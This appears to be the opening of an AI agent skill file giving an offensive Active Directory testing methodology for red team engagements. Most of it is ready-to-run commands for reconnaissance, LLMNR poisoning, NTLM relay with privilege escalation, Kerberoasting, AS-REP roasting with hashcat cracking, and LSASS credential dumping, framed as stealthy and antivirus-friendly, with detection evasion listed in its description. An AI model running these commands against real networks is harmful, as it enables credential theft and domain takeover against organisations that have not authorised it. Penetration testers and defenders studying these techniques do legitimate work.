offensive_active_directory

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• SKILL.md

SKILL.md (first lines)

---
name: offensive-active-directory
description: "Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments."
---

# Active Directory — Offensive Testing Methodology

## Quick Workflow

1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
4. Execute path with lowest detection cost, validate at each hop
5. Establish persistence and document every action with timestamps

---

## Reconnaissance

### BloodHound Collection

```powershell
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
```

### PowerView (No Tool Drop)

```powershell
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
```

### ADExplorer Offline

```
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
```

---

## Credential Harvesting

### LLMNR / NBT-NS / mDNS Poisoning

```bash
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
```

Crack with hashcat mode 5600. If cracking fails, relay instead.

### NTLM Relay

```bash
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController
```

### Kerberoasting

```powershell
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
```

```bash
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
```

### ASREProasting

```bash
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
```

### LSASS / SAM Dumping

```cmd
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
```

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